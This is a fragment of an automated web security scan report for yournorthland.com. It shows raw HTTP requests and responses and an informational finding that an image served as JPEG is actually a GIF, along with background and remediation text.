User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.1.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19269
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:05 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://yournorthland.com
Path:   /images/fb-badge.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /images/fb-badge.jpg HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: yournorthland.com

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sun, 23 May 2010 07:38:37 GMT
Accept-Ranges: bytes
ETag: "a8fdc1f44afaca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:49 GMT
Content-Length: 1447

GIF89a..,.......m.....Fb.Ql..........ay.]u.~...........s........l..............Wq.............Gc.`x.x..h~................;Y.............................................................................
...[SNIP]...

Report generated by XSS.CX at Wed Apr 27 15:42:27 CDT 2011.